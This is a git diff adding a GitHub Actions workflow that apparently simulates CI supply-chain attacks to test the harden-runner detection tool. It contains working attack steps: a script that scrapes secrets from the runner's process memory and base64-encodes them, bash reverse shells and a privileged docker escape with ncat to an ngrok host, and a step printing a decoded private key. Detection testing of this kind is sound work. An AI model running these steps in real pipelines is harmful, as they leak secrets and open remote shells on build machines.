diff --git a/.github/workflows/POC-detections-gh-hosted.yml b/.github/workflows/POC-detections-gh-hosted.yml new file mode 100644 index 00000000..0f7aa68f --- /dev/null +++ b/.github/workflows/POC-detections-gh-hosted.yml @@ -0,0 +1,241 @@ +name: POC Detections +on: + workflow_dispatch: + inputs: + run_only_anomalous: + description: 'Run only the anomalous-outbound-call job' + required: false + default: false + type: boolean + + anomalous_domain: + description: 'Domain for anomalous outbound call (e.g., https://www.pastebin.com)' + required: false + default: '' + type: string + + +jobs: + tj-actions-simulation: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + + - name: Checkout + uses: actions/checkout@v4 + + - name: Execute tj-action + run: | + # Create tj.py inline + cat << 'PYTHON_SCRIPT' > tj.py + #!/usr/bin/env python3 + import os + import re + import sys + + def get_pid(): + # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python + pids = [pid for pid in os.listdir('/proc') if pid.isdigit()] + for pid in pids: + try: + with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f: + if b'Runner.Worker' in cmdline_f.read(): + return pid + except (IOError, PermissionError): + continue + raise Exception('Can not get pid of Runner.Worker') + + if __name__ == "__main__": + try: + pid = get_pid() + print(f"Found Runner.Worker process with PID: {pid}") + map_path = f"/proc/{pid}/maps" + mem_path = f"/proc/{pid}/mem" + + try: + with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f: + print(f"Successfully opened memory maps file") + for line in map_f.readlines(): # for each mapped region + m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) + if m and m.group(3) == 'r': # readable region + start = int(m.group(1), 16) + end = int(m.group(2), 16) + # hotfix: OverflowError: Python int too large to convert to C long + # 18446744073699065856 + if start > sys.maxsize: + continue + mem_f.seek(start) # seek to region start + + try: + chunk = mem_f.read(end - start) # read region contents + sys.stdout.buffer.write(chunk) + except OSError: + continue + except PermissionError as e: + print(f"Error: Permission denied. This script needs to be run with root privileges.") + print(f"Error: {e}") + print("Try running with: sudo python3 tj.py") + sys.exit(1) + except Exception as e: + print(f"Error accessing process memory: {e}") + sys.exit(1) + except Exception as e: + print(f"Error: {e}") + sys.exit(1) + PYTHON_SCRIPT + + # Execute the script + sudo python3 tj.py | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0 + + pytorch-simulation: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + - name: Checkout + uses: actions/checkout@v4 + - name: Generate a registration token for attacker repo + run: | + response=$(curl -X POST -H "Authorization: token github_pat_dummy_token" \ + -H "Accept: application/vnd.github.v3+json" \ + https://api.github.com/repos/step-security-experiments/github-actions-goat/actions/runners/registration-token) + reverse-shell: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + + - name: Reverse shell + run: | + bash -c "bash -i >& /dev/tcp/0.tcp.us-cal-1.ngrok.io/17658 0>&1" + privileged-conatiner: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + + - name: Dind escape + run: | + docker run --privileged --cap-add=ALL -v /:/host raesene/ncat:latest 0.tcp.us-cal-1.ngrok.io 17658 -e /bin/bash + + handle-private-key: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + - name: Checkout code + uses: actions/checkout@v3 + + - name: Decode and print private key + env: + # This is a base64 encoded dummy private key (NOT A REAL KEY) + # In production, this should be stored in GitHub Secrets + ENCODED_PRIVATE_KEY: | + LS0tLS1CRUdJTiBQUklWQVRFIEtFWS0tLS0tTUlJRXZnSUJBREFOQmdrcWhraUc5dzBCQVFFRkFBU0NCS2d3Z2dTa0FnRUFBb0lCQVFDN1ZKVFV0OVVzOGNLagpNekVmWXlqaVdBNFI0L00yYlMxR0I0dDdOWHA5OEMzU0M2ZFZNdkR1aWN0R2V1clQ4ak5idkpaSHRDU3VZRWNONXI0RQpKV25YaXNLNVkrVHYra1pnWlBtNXdRQTB3MVd1cGZhUlZQUGhoR2dUN1daeEM3UFJMTjIvaUo5dDJRTGloNzlEMFF1ZwpINFE3clB3SVVDdzdOYjJYSVpHc1VYSzJhZmlJM24vT1NQSHVRR0dCRnhIcWI3VWwzM3lJdUN4UjBJcTVuem1RTENFVApSYm5pRzRoeE5aMEo3a3hwZzdtWk5LQ1JKd0NRSFl0SEhxVVVOTGl4Q01TNDU1cWo5SUhJTVYwbEc0NFhLWEV6U0oxWgpjajZuQ1B6aFJtUXBDd2p0MWJJT0NWU0VKMUppU204YTVTdUpLRkxtQWlVTmtsZnJOckdEMjN1RUlRSURBUUFCQW9JQgpBQUh0QmJZcDBBdzVOTi9lV0ROUDVuekZFYVhSWmM3QUNuc3BQN1VFSUZZeDkrNW5BU1pnc0l1ZUh4VlpiZ25QTTl6RQotLS0tLUVORCBQUklWQVRFIEtFWS0tLS0t + run: | + echo "Decoding private key..." + echo "$ENCODED_PRIVATE_KEY" | base64 -d > private_key.pem + + echo "Private key content:" + cat private_key.pem + imposter-commit: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + - name: Checkout code + uses: actions/checkout@v3 + - uses: step-security/dummy-imposter-commit-action@v1 + unauthorized-outbound-call: + if: ${{ github.event.inputs.run_only_anomalous != 'true' }} + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: block + allowed-endpoints: > + github.com:443 + goreleaser.com:443 + www.google.com:443 + - name: Checkout code + uses: actions/checkout@v3 + + - name: Run outbound calls from host + run: | + start_time=$(date +%s) + end_time=$((start_time + 30)) + + while [ $(date +%s) -lt $end_time ]; do + curl -I https://www.google.com + curl -I https://goreleaser.com + sleep 10 # wait 10 seconds between calls + done + + - run: | + bash -c "bash -i >& /dev/tcp/0.tcp.us-cal-1.ngrok.io/17658 0>&1" + anomalous-outbound-call: + # Baseline Generation Script: + # To quickly run this job 100 times for baseline generation, use this script: + # + # #!/bin/bash + # OWNER="your-github-username" + # REPO="your-repo-name" + # WORKFLOW_FILE="poc_workflow.yml" + # + # echo "Running anomalous job 100 times for baseline generation..." + # for i in {1..100}; do + # echo "Triggering baseline run #$i" + # gh workflow run "$WORKFLOW_FILE" \ + # --repo "$OWNER/$REPO" \ + # --field enable_anomalous_call=false \ + # --field run_only_anomalous=true & + # + # # Add small delay every 20 requests to avoid rate limiting + # if (( i % 20 == 0 )); then + # sleep 1 + # fi + # done + # wait + # echo "All 100 baseline runs triggered!" + runs-on: ubuntu-latest + steps: + - uses: step-security/harden-runner@v2 + with: + egress-policy: audit + + - name: Checkout code + uses: actions/checkout@v3 + + - name: Run outbound calls from host + run: | + start_time=$(date +%s) + end_time=$((start_time + 30)) + + while [ $(date +%s) -lt $end_time ]; do + curl -I https://www.google.com + curl -I https://goreleaser.com + sleep 10 # wait 10 seconds between calls + done + + - name: Make anomalous outbound call + if: ${{ github.event.inputs.anomalous_domain != '' }} + run: | + ANOMALOUS_DOMAIN="${{ github.event.inputs.anomalous_domain }}" + echo "Making anomalous call to: $ANOMALOUS_DOMAIN" + + # Attempt to connect to the domain + curl -I --max-time 5 "$ANOMALOUS_DOMAIN" || true